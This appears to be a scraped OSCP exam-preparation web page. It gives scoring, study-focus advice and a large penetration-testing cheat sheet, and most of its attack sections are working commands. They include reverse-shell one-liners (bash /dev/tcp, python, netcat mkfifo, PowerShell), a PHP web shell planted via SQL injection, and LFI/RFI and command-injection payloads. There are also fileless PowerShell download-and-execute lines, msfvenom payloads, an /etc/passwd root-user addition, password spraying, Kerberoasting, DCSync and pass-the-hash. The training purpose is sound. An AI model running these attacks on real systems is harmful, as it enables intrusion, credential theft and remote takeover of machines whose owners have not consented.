OSCP Resource Hub

Everything to go from beginner to certified in one place: a structured preparation plan, a deep command cheat sheet, and a clickable index of every TJnull-recommended HackTheBox and Proving Grounds box, each with real reference links.

points to pass

3+1

standalone + AD set

boxes indexed

cheat domains

AD set points

01 // ROADMAP

Preparation Plan

Phase by phase: enumeration, privilege escalation, Active Directory, machine grinding, then exam simulation.

Open the plan >

02 // ATTACK REFERENCE

Full Cheat Sheet

Detailed commands across 9 attack domains: enum, web, privesc, AD, pivoting, shells, cracking.

Open the cheat sheet >

03 // HANDY TOOLBOX

Everyday Toolbox

The common tools you use constantly: SSH and keys, scp/ftp, netcat, serving files, compiling exploits, /etc/hosts, tmux.

Open the toolbox >

04 // QUICK REF

Common Ports

Searchable port lookup for CTF: one-liner per service, the go-to enum commands, common attack vectors, and references.

Look up a port >

05 // PRACTICE

Box Index

Searchable, filterable list of HTB and Proving Grounds boxes with attack vectors and writeup links.

Browse the boxes >

06 // LINKS

Resources

Every external tool, wordlist, writeup channel, and official OffSec page worth bookmarking.

See resources >

What you're graded on

100 points across four targets. You need 70. Know the scoreboard before spending a single study hour.

Standalone #1 20 pts

Independent host. ~10 for foothold (local.txt), ~10 for root/SYSTEM (proof.txt).

Standalone #2 20 pts

Independent host. Same split. Pure enumerate → exploit → escalate.

Standalone #3 20 pts

Independent host. Same split. Broad exploit & privesc toolkit pays off here.

Active Directory Set 40 pts

Chained domain: foothold, then lateral movement, then Domain Controller. Points are awarded per host, but you have to pivot through the chain.

The scoreboard // pass line at 70

3 x Standalone = 60AD Set = 40

070 to pass100 ( )

Winning math: AD set (40) + one full standalone (20) + one foothold (10) = 70. The AD set is the biggest single block, which makes it the highest-leverage skill to master.

+10

Bonus. Submit the required PEN-200 exercises and 30 lab machines in your report for +10. Nearly-free points if you have the subscription.

MSF

Metasploit rule. Exploit and post modules on one standalone only, not the AD set. msfvenom and multi/handler are unrestricted. No sqlmap or automated exploitation, no Burp active scanner.

[!]

Exam format changes over time. Always confirm the current rules on the official OffSec exam guide (linked in Resources) before you book.

Where to focus, and how much

Two different things, kept separate on purpose. The official exam weight is a hard fact from OffSec's points structure. The recommended focus is derived study guidance, because point value is not the same as how hard a skill is to learn.

[i]

On "official data": OffSec publishes the points structure (AD set = 40, three standalones = 60) and the PEN-200 module list. That is all it publishes. It does not release a per-topic exam percentage, so anyone quoting "SQLi is 12% of the exam" is guessing. The bars below are a reasoned allocation, not an OffSec metric.

Official exam weight = share of the 100 exam points Recommended focus = share of your study effort (relative weighting, not fixed hours)

Active Directory40 of 100 pts // official

30%

The single biggest block and the steepest learning curve. Highest leverage on the whole exam, so over-invest here. Practice full chains, not isolated techniques.

Enumeration & Reconcross-cutting // every target

15%

Not worth points directly, but it decides whether you find the foothold at all. The number one reason people get stuck. A permanent discipline, not a one-off topic.

Web & Service Exploitationfoothold // most standalones

15%

How you get the initial shell on most standalones. Manual SQLi, LFI/RFI, upload bypass, command injection, plus recognising versioned public exploits fast.

Windows Privilege Escalationstandalone escalation

12%

Turns footholds into proof.txt on Windows targets. Token and Potato abuse, service misconfigs, AlwaysInstallElevated. Usually the slower half of privesc for most people.

Linux Privilege Escalationstandalone escalation

11%

sudo/GTFOBins, SUID, cron, capabilities, PATH. More pattern-based than Windows, so you get fast at it quickly and can spend slightly less time on it.

Tunneling & Pivotingenables the AD 40 pts

Small topic, but the AD set is often unreachable without it. Get ligolo-ng and chisel to reflex, because being unable to pivot can cost you the whole 40 points.

Password & Hash Attackscross-cutting

Cracking roast hashes, spraying, hydra, hashcat modes and rules. Threads through both the standalones and the AD set. Know your hashcat modes cold.

Report, Notes & Exam Simspass/fail hygiene

A rooted box with no screenshot is lost points. Build the report template early and run full 24-hour exam simulations before the real thing. This is where organised people pass.

[*]

One-line takeaway: spend roughly a third of your effort on Active Directory, keep enumeration a constant background discipline, and split the rest across the web foothold and both privesc paths. Pivoting and reporting are small but can silently cost you big.

[+]

Scale it to yourself. These are shares of your study effort, so apply them to whatever time you actually have. The ratios are the point, not any fixed total.

Full command reference

The OSCP Cheat Sheet

Every command you'll type a thousand times, organised by domain. Replace $IP / $U / $P / $D with your target, user, pass, domain. Build your own version as you go - that's the one you'll trust in the exam.

01 Enumeration & Recon

The single most important skill. 90% of "I was stuck for hours" ends with an unchecked port, param, or share. Enumerate until there's no unexplored surface, then exploit.

# Nmap

# 1. Fast full TCP port sweep
nmap -p- --min-rate 5000 -T4 $IP -oN nmap/allports.txt
# 2. Deep scan on the open ports only
nmap -p22,80,445 -sC -sV -O -oN nmap/deep.txt $IP
# 3. UDP top ports (never skip - SNMP/TFTP/DNS live here)
sudo nmap -sU --top-ports 100 -oN nmap/udp.txt $IP
# Targeted NSE scripts
nmap -p445 --script smb-vuln-* $IP
nmap -p80 --script http-enum,http-title $IP

# HTTP / Web discovery

whatweb http://$IP            # tech fingerprint
nikto -h http://$IP
# Directory / file brute force
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -x php,txt
# ffuf: dirs, extensions, params, vhosts
ffuf -u http://$IP/FUZZ -w wordlist.txt -e .php,.bak
ffuf -u http://$IP/page?FUZZ=1 -w params.txt -fs 0        # hidden params
ffuf -u http://$IP -H "Host: FUZZ.target.tld" -w subdomains.txt -fs 0   # vhosts
# WordPress
wpscan --url http://$IP --enumerate u,ap,at --api-token <t>

# SMB (445/139)

enum4linux-ng -A $IP
smbclient -L //$IP -N            # list shares, null session
smbclient //$IP/share -N
smbmap -H $IP -u '' -p ''         # perms per share
crackmapexec smb $IP -u '' -p '' --shares
crackmapexec smb $IP -u $U -p $P --shares --users --pass-pol

# SNMP (UDP 161)

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP
snmpwalk -v2c -c public $IP
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25   # users
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2  # running processes

# DNS / FTP / SMTP / NFS / LDAP / DBs

# DNS zone transfer
dig axfr @$IP domain.tld
dnsrecon -d domain.tld -n $IP -t axfr
# FTP anon
ftp $IP            # user: anonymous / pass: anything
# SMTP user enum
smtp-user-enum -M VRFY -U users.txt -t $IP
# NFS
showmount -e $IP
# LDAP
ldapsearch -x -H ldap://$IP -b "dc=domain,dc=tld"
# MSSQL / MySQL / Redis
impacket-mssqlclient $U:$P@$IP -windows-auth
mysql -h $IP -u root -p
redis-cli -h $IP

02 Web Exploitation

Web is the most common foothold. Test every input by hand - Burp Community (repeater/proxy) is your friend; the active scanner is banned in the exam.

# SQL Injection (manual)

# Detect  '   "   ' OR 1=1-- -   ' AND 1=2-- -
# Auth bypass  admin' -- -    ' OR '1'='1
# UNION: find column count, then reflect
' ORDER BY 5-- -
' UNION SELECT 1,2,3,4,5-- -
' UNION SELECT 1,@@version,database(),user(),5-- -
# Dump (MySQL)
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables-- -
' UNION SELECT 1,group_concat(user,0x3a,password),3,4,5 FROM users-- -
# MSSQL stacked → RCE
'; EXEC xp_cmdshell 'whoami'-- -
# SQLi → shell (MySQL file write)
' UNION SELECT 1,"<?php system($_GET['c']);?>",3 INTO OUTFILE '/var/www/html/s.php'-- -

# LFI / RFI

# Basic + traversal
http://$IP/?page=../../../../etc/passwd
# PHP filter to read source
?page=php://filter/convert.base64-encode/resource=index.php
# Log poisoning → RCE (inject into User-Agent, then include the log)
?page=/var/log/apache2/access.log
# data / input wrappers
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+
# RFI (allow_url_include=On)
?page=http://$YOUR_IP/shell.php

# File upload bypass

# Extension tricks  shell.php  .phtml .php5 .phar .pHp
# Double ext / null  shell.php.jpg   shell.php%00.jpg
# Content-Type spoof  Content-Type: image/png
# Magic bytes  add GIF89a; at top of file
# .htaccess trick (Apache)
AddType application/x-httpd-php .xyz

# Command injection · SSTI · XXE

# Command injection separators
; | || && `id` $(id) %0a
127.0.0.1; bash -c 'bash -i >& /dev/tcp/$IP/443 0>&1'
# SSTI detect  {{7*7}}  ${7*7}  <%= 7*7 %>
# Jinja2 RCE
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# XXE
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>

Method: map the app first (dirbust, read JS, note params), then test one class of bug at a time. Note versions of every CMS/framework - a public exploit is often faster than a manual bug.

03 Password & Hash Attacks

# Online brute force - hydra

hydra -L users.txt -P rockyou.txt ssh://$IP
hydra -l admin -P rockyou.txt ftp://$IP
hydra -l admin -P pass.txt $IP http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:Invalid"
hydra -L users -P pass rdp://$IP

# Offline cracking - hashcat & john

hashid '<hash>'          # or hash-identifier
hashcat -m 0    hash rockyou.txt        # MD5
hashcat -m 1000 hash rockyou.txt        # NTLM
hashcat -m 1800 hash rockyou.txt        # sha512crypt ($6$)
hashcat -m 18200 asrep rockyou.txt      # AS-REP
hashcat -m 13100 krb5tgs rockyou.txt    # Kerberoast
hashcat -m 1000 hash rockyou.txt -r /usr/share/hashcat/rules/best64.rule
john --wordlist=rockyou.txt hash.txt
# unshadow first for /etc/shadow
unshadow passwd shadow > combined; john combined

# Build / mutate wordlists

cewl http://$IP -w custom.txt          # scrape site words
crunch 8 8 -t Pass@%%% > wl.txt          # patterns
# Common default creds: admin:admin, tomcat:s3cret, root:root

04 Shells, Upgrades & File Transfer

# Reverse shells (see revshells.com)

# Bash
bash -i >& /dev/tcp/$IP/443 0>&1
# Python
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("$IP",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
# nc (with -e, or mkfifo variant)
nc $IP 443 -e /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $IP 443 >/tmp/f
# PowerShell (one-liner base of it)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('$IP',443);$s=$c.GetStream();..."

# Listener + TTY upgrade

rlwrap nc -lvnp 443           # rlwrap = arrow keys/history
# Upgrade a dumb shell to full TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z
stty raw -echo; fg
# then in shell:
export TERM=xterm; stty rows 38 cols 116

# File transfer

# Serve from attacker
python3 -m http.server 80
impacket-smbserver share . -smb2support        # SMB (Windows)
# Linux pull
wget http://$IP/linpeas.sh ; curl http://$IP/f -o f
# Windows pull
certutil -urlcache -f http://$IP/nc.exe nc.exe
powershell iwr -uri http://$IP/x.exe -o x.exe
copy \\$IP\share\x.exe .            # from impacket-smbserver

05 Linux Privilege Escalation

Enumerate methodically, then match findings against known techniques. Run the automated tools and read their output - the answer is usually flagged in yellow.

# Automated + manual recon

./linpeas.sh | tee linpeas.txt
./pspy64                       # watch cron / hidden procs live
id; sudo -l; uname -a
find / -perm -4000 -type f 2>/dev/null      # SUID
getcap -r / 2>/dev/null                      # capabilities
cat /etc/crontab; ls -la /etc/cron.*
find / -writable -type d 2>/dev/null

# The high-yield vectors

# sudo -l → look up the binary on GTFOBins
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo vim -c ':!/bin/sh'
# SUID via GTFOBins (e.g. suid nmap old, cp, bash)
/usr/bin/bash -p
# Capability cap_setuid
/usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
# Writable /etc/passwd - add a root user
openssl passwd -1 -salt x pass       # make hash, append: hacker:HASH:0:0::/root:/bin/bash
# PATH hijack (script calls a bare command)
export PATH=/tmp:$PATH; echo '/bin/bash' > /tmp/service; chmod +x /tmp/service
# NFS no_root_squash - mount, drop a SUID binary as root
# Cron running a writable script → add reverse shell

# Kernel exploits (last resort)

# Identify → searchsploit; well-known:
# PwnKit (pkexec) CVE-2021-4034 · DirtyPipe 5.8-5.16 · DirtyCow <=3.x
searchsploit linux kernel 3.13
# Docker / lxd group = instant root
id | grep -E 'docker|lxd'

06 Windows Privilege Escalation

# Recon

.\winPEASx64.exe quiet
whoami /priv                # SeImpersonate/SeBackup/etc → key!
whoami /all
systeminfo                   # OS/patch level for kernel exploits
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "c:\windows"

# Token privileges → SYSTEM

# SeImpersonate / SeAssignPrimaryToken (web/service accounts):
.\GodPotato.exe -cmd "cmd /c whoami"
.\PrintSpoofer64.exe -i -c cmd
.\JuicyPotatoNG.exe -t * -p cmd.exe -a "/c whoami"
# SeBackupPrivilege → grab SAM/SYSTEM or NTDS
reg save hklm\sam sam.hive ; reg save hklm\system system.hive

# Service & config misconfigs

# Unquoted service path - plant exe in a space gap
# Weak service perms (accesschk) → change binPath
sc config vulnsvc binPath= "C:\temp\rev.exe" ; sc start vulnsvc
# AlwaysInstallElevated (both keys = 1) → malicious msi
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=443 -f msi -o x.msi
msiexec /quiet /qn /i x.msi
# Stored creds
cmdkey /list ; runas /savecred /user:admin cmd.exe

# Credential hunting

findstr /si password *.txt *.ini *.config *.xml
# unattend / sysprep / Groups.xml (GPP)
type C:\Windows\Panther\Unattend.xml
reg query HKLM /f password /t REG_SZ /s

07 Active Directory · the 40-point block

The exam AD set is a chain: get a foothold, enumerate with BloodHound, harvest creds, move laterally, reach the DC. Practice the whole flow until it's routine.

# Enumerate

# BloodHound collection (remote)
bloodhound-python -u $U -p $P -d $D -ns $IP -c all
# SharpHound on host:  .\SharpHound.exe -c All
crackmapexec smb $IP -u $U -p $P --users --groups --pass-pol
rpcclient -U $U%$P $IP       # enumdomusers, queryuser
ldapdomaindump -u $D\\$U -p $P $IP

# Credential attacks

# AS-REP roast (users w/ no preauth) - no creds needed
impacket-GetNPUsers $D/ -usersfile users.txt -no-pass -dc-ip $IP
# Kerberoast (needs any valid creds)
impacket-GetUserSPNs $D/$U:$P -dc-ip $IP -request
# Password spray
crackmapexec smb $IP -u users.txt -p 'Summer2024!' --continue-on-success
# GPP cpassword in SYSVOL → gpp-decrypt
# Crack the roast hashes with hashcat -m 18200 / -m 13100

# Lateral movement

evil-winrm -i $IP -u $U -p $P
evil-winrm -i $IP -u $U -H $NThash       # pass-the-hash
impacket-psexec $D/$U:$P@$IP          # SYSTEM
impacket-wmiexec $D/$U@$IP -hashes :$NThash
crackmapexec smb $IP/24 -u $U -H $NThash    # spray hash across subnet

# Domain domination

# Dump secrets / DCSync
impacket-secretsdump $D/$U:$P@$IP
impacket-secretsdump -just-dc $D/admin@$DC     # DCSync (needs replication rights)
# mimikatz on host
sekurlsa::logonpasswords ; lsadump::dcsync /user:krbtgt
# ACL abuse from BloodHound (GenericAll/WriteDACL): force-change pw
net rpc password "victim" "NewPass1!" -U "$D/$U%$P" -S $IP
# Delegations, DnsAdmins, RBCD = box-specific escalations

Pivot reminder: the DC is usually only reachable through the foothold host - set up ligolo-ng / chisel first (see Pivoting) or your impacket calls won't route.

08 Tunneling & Pivoting

# ligolo-ng (cleanest for AD)

# Attacker: add interface + route the internal subnet
sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up
./proxy -selfcert
# On agent (target):
./agent -connect $IP:11601 -ignore-cert
# In ligolo session: start, then  sudo ip route add 10.10.20.0/24 dev ligolo

# chisel (reverse SOCKS)

# Attacker  ./chisel server -p 8000 --reverse
# Target    ./chisel client $IP:8000 R:socks
# then  proxychains <cmd>   (socks5 127.0.0.1 1080 in /etc/proxychains4.conf)

# SSH tunnels & proxychains

ssh -L 8080:127.0.0.1:80 user@host      # local: reach host:80 via localhost:8080
ssh -R 9001:127.0.0.1:9001 user@attacker  # remote
ssh -D 1080 user@host                   # dynamic SOCKS proxy
proxychains -q nmap -sT -Pn 10.10.20.5

09 Metasploit, msfvenom & Buffer Overflow

# msfvenom payloads (always allowed)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$IP LPORT=443 -f exe -o s.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$IP LPORT=443 -f elf -o s
msfvenom -p php/reverse_php LHOST=$IP LPORT=443 -f raw -o s.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$IP LPORT=443 -f war -o s.war

# multi/handler (unrestricted)

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST $IP; set LPORT 443; run"

Exam rule: full Metasploit exploit/post modules and Meterpreter may be used on only one standalone machine - never the AD set. Choose wisely, and never depend on it: learn the manual path first.

# Buffer Overflow (legacy - no longer a dedicated exam topic, still good to know)

# Classic stack BOF flow:
# 1 fuzz → crash   2 pattern_create/offset → find EIP
# 3 find bad chars  4 !mona jmp esp → JMP address
# 5 msfvenom shellcode (-b badchars) → 6 profit
pattern_create.rb -l 2000 ; pattern_offset.rb -q <EIP>

[*]

This is a starting kit. The most valuable cheat sheet is the one you grow one box at a time. Every command you look up, paste into your own notes. By the time you sit the exam it becomes your co-pilot.

ssh user@$IP # password auth ssh user@$IP -p 2222 # non-standard port ssh -i id_rsa user@$IP # private-key auth sshpass -p 'Passw0rd!' ssh user@$IP # scripted / non-interactive

ssh-keygen -t rsa -b 4096 -f mykey # makes mykey + mykey.pub # On target, if you can write the victim's home: echo 'ssh-rsa AAAA...your pubkey...' >> ~/.ssh/authorized_keys # then from attacker: ssh -i mykey user@$IP

ssh -o StrictHostKeyChecking=no user@$IP # skip host-key prompt ssh -o PubkeyAcceptedKeyTypes=+ssh-rsa user@$IP # old key type rejected ssh user@$IP "id; hostname" # run one command & exit # Port forwarding recap (full detail on the Cheat Sheet → Pivoting): ssh -L 8080:127.0.0.1:80 user@$IP # -L local -R remote -D dynamic SOCKS

scp file.txt user@$IP:/tmp/ # push to target scp user@$IP:/etc/passwd ./ # pull from target scp -i id_rsa -P 2222 f user@$IP:/tmp/ # with key + port scp -r folder user@$IP:/tmp/ # recursive

ftp $IP # login: anonymous / any password # inside the ftp> prompt: binary # ALWAYS set binary before moving exes/images passive # toggle if transfers hang ls ; cd dir ; get secret.txt ; put shell.php ; mget * # non-interactive one-liner grab: wget ftp://user:pass@$IP/file curl -u user:pass ftp://$IP/file -o file

# Attacker hosts a share: impacket-smbserver share $(pwd) -smb2support -user a -pass a # Windows target pulls/pushes: copy \\$IP\share\nc.exe . copy loot.txt \\$IP\share\ # Linux smbclient: smbclient //$IP/share -U user -c 'get file.txt'

python3 -m http.server 80 # serves current dir on :80 php -S 0.0.0.0:80 # if python missing # Upload server (receive files via POST): python3 -m uploadserver 8000 # pip install uploadserver

certutil -urlcache -f http://$IP/nc.exe nc.exe powershell iwr -uri http://$IP/x.exe -o x.exe powershell "(New-Object Net.WebClient).DownloadFile('http://$IP/x.exe','x.exe')" # Fileless exec in memory: powershell "IEX(New-Object Net.WebClient).DownloadString('http://$IP/s.ps1')"

gcc exploit.c -o exploit # native 64-bit gcc -m32 exploit.c -o exploit32 # 32-bit target (need gcc-multilib) gcc -static exploit.c -o exploit # static - for missing libs on target # classic DirtyCow etc often need pthread: gcc exploit.c -o exploit -pthread

file suspicious # what is it? strings -n 8 binary # readable strings (creds!) xxd file | head # hex view (magic bytes) exiftool image.jpg # metadata (usernames, GPS, comments)

ip a ; ip route ; cat /etc/hosts /etc/resolv.conf ss -tulpn # listening services (internal-only ports = pivot targets) netstat -ano # Windows equivalent arp -a # other hosts on the segment

python3 exploit.py $IP python2 old_exploit.py # many old PoCs are py2 - keep it installed # isolated deps so you don't wreck system python: python3 -m venv venv && source venv/bin/activate && pip install requests

OSCP Resource Hub

Preparation Plan

Full Cheat Sheet

Everyday Toolbox

Common Ports

Box Index

Resources

What you're graded on

Standalone #1 20 pts

Standalone #2 20 pts

Standalone #3 20 pts

Active Directory Set 40 pts

Where to focus, and how much

Preparation Plan

Foundations, Enumeration & the Web

Privilege Escalation: Linux & Windows

Active Directory: the 40-point block

Tunneling & Machine Grinding: breadth

Depth, Challenge Labs & Weak Spots

Exam Simulation & Report

Exam-day battle plan

Start all enumeration at once

Go for the AD set first

Time-box each stuck point

Screenshot everything, immediately

Bank 70, then push for margin

Sleep, then write the report

The OSCP Cheat Sheet

01 Enumeration & Recon

02 Web Exploitation

03 Password & Hash Attacks

04 Shells, Upgrades & File Transfer

05 Linux Privilege Escalation

06 Windows Privilege Escalation

07 Active Directory · the 40-point block

08 Tunneling & Pivoting

09 Metasploit, msfvenom & Buffer Overflow

The Handy Toolbox

SSH SSH & Key Authentication

CP File Transfer - scp · ftp · nc · smb

WEB Serving & Downloading Files

GCC Compiling Exploits

B64 Encoding, Hashing & Text

NET Networking & the /etc/hosts Trap

TTY Shell Survival - tmux · vi · fixing shells

ENV Python, pip & running found scripts

Common Ports

The Box Index

Resources

Official OffSec

Box lists & platforms

Writeups & video

Reference wikis

Tools & helpers

AD & privesc deep-dives